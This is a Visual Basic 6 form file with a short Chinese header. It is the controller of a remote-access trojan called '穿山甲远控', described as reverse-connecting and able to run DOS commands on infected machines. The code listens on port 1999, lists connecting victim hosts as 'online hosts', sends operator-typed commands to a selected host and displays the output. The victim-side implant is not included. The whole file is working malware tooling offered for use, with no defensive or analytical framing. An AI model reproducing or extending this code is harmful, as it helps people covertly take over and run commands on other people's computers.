frmserver.frm

VB 远程木马,反向连接,主控端可以生成有配置信息的服务端,可以执行DOS命令

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmserver 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "穿山甲远控—客户端"
   ClientHeight    =   6960
   ClientLeft      =   2355
   ClientTop       =   930
   ClientWidth     =   9930
   Icon            =   "frmserver.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   6960
   ScaleWidth      =   9930
   Begin VB.CommandButton Command4 
      Caption         =   "退 出"
      BeginProperty Font 
         Name            =   "楷体_GB2312"
         Size            =   9
         Charset         =   134
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   9060
      TabIndex        =   8
      Top             =   6060
      Width           =   675
   End
   Begin VB.CommandButton Command2 
      Caption         =   "配 置"
      BeginProperty Font 
         Name            =   "楷体_GB2312"
         Size            =   9
         Charset         =   134
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   7800
      TabIndex        =   7
      Top             =   6120
      Width           =   675
   End
   Begin VB.ListBox List1 
      ForeColor       =   &H00000000&
      Height          =   5100
      ItemData        =   "frmserver.frx":08CA
      Left            =   7800
      List            =   "frmserver.frx":08CC
      TabIndex        =   3
      Top             =   840
      Width           =   1935
   End
   Begin VB.TextBox Text2 
      ForeColor       =   &H00000000&
      Height          =   5115
      Left            =   120
      MultiLine       =   -1  'True
      ScrollBars      =   2  'Vertical
      TabIndex        =   2
      Top             =   840
      Width           =   7515
   End
   Begin VB.CommandButton Command1 
      Caption         =   "发 送"
      Default         =   -1  'True
      BeginProperty Font 
         Name            =   "楷体_GB2312"
         Size            =   9
         Charset         =   134
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   6300
      TabIndex        =   1
      Top             =   6120
      Width           =   735
   End
   Begin VB.TextBox Text1 
      BeginProperty Font 
         Name            =   "宋体"
         Size            =   10.5
         Charset         =   134
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00000000&
      Height          =   375
      Left            =   1020
      TabIndex        =   0
      Top             =   6120
      Width           =   5115
   End
   Begin MSWinsockLib.Winsock sckserver 
      Index           =   0
      Left            =   6420
      Top             =   300
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Label Label4 
      Caption         =   "版权所有：穿山甲"
      Height          =   195
      Left            =   3720
      TabIndex        =   9
      Top             =   6660
      Width           =   1635
   End
   Begin VB.Label Label3 
      Caption         =   "DOS命令："
      Height          =   255
      Left            =   120
      TabIndex        =   6
      Top             =   6240
      Width           =   915
   End
   Begin VB.Label Label2 
      BackStyle       =   0  'Transparent
      Caption         =   "上线主机列表"
      BeginProperty Font 
         Name            =   "楷体_GB2312"
         Size            =   14.25
         Charset         =   134
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00000000&
      Height          =   375
      Left            =   7860
      TabIndex        =   5
      Top             =   420
      Width           =   1935
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      BackStyle       =   0  'Transparent
      Caption         =   "信息返回框"
      BeginProperty Font 
         Name            =   "楷体_GB2312"
         Size            =   14.25
         Charset         =   134
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00000000&
      Height          =   285
      Left            =   2880
      TabIndex        =   4
      Top             =   360
      Width           =   1575
   End
End
Attribute VB_Name = "frmserver"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
sckserver(0).LocalPort = 1999  '监听端口设置
sckserver(0).Listen            '开始一直监听
End Sub

Private Function FindOpenWinsock() '此函数用来为新用户提供新的控件
   For x = 0 To sckserver.UBound
        If sckserver(x).State = 0 Then '如果状态为0，即关闭，我们可以使用它
        FindOpenWinsock = x
        Exit Function '跳出函数，当然也跳出了循环
        End If
   Next x
   Load sckserver(sckserver.UBound + 1) '没有可用的，就装载一个最新的
   FindOpenWinsock = sckserver.UBound '返回新的序号值，即新装载控件的序号
End Function

'御载模块
Private Sub Form_Unload(Cancel As Integer)
For i = 0 To sckserver.UBound
sckserver(i).Close
Next
End Sub
'监听关闭模块
Private Sub sckserver_Close(index As Integer)
Dim myindex As Integer
For x = 0 To List1.ListCount
    If mystr(CStr(index)) = Left(CStr(List1.List(x)), 3) Then
        myindex = x
        Exit For
    End If
Next x
List1.RemoveItem myindex
sckserver(index).Close
End Sub
'添加上线主机模块
Private Sub sckserver_ConnectionRequest(index As Integer, ByVal requestID As Long)
    index = FindOpenWinsock()
    sckserver(index).Accept requestID
    List1.AddItem mystr(CStr(index)) & "号机：" & sckserver(index).RemoteHostIP
    
End Sub
'接收返回数据模块
Private Sub sckserver_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim s  As String
Dim mytext As String
mytext = Text2.Text
sckserver(index).GetData s
Text2.Text = mytext & s & Chr(13)
End Sub

'函数mystr用来保持字符串的长度为3
Private Function mystr(s As String)
If Len(s) > 3 Then
    MsgBox "连接的客户数超过了999 ！程序会发生错误。", vbOKOnly, "新媒体软件提示"
    Exit Function
End If
If Len(s) = 3 Then
    mystr = s
Else
    If Len(s) = 2 Then
        mystr = " " & s
    Else
        mystr = "  " & s
    End If
End If
End Function
'发送命令模块
Private Sub Command1_Click()
Text2.Text = ""
Dim index As Integer '定义一个winsock数组下标变量
If List1.ListIndex = -1 Then
MsgBox "您没有选定客户机，请在已登录的客户机中选择。", vbOKOnly
Exit Sub
End If
index = Val(LTrim(Left(List1.Text, 3)))
sckserver(index).SendData Text1.Text
Text1.Text = ""
End Sub

Private Sub Command2_Click()
frmserver.Hide
Form1.Show
End Sub

Private Sub Command4_Click()
End
End Sub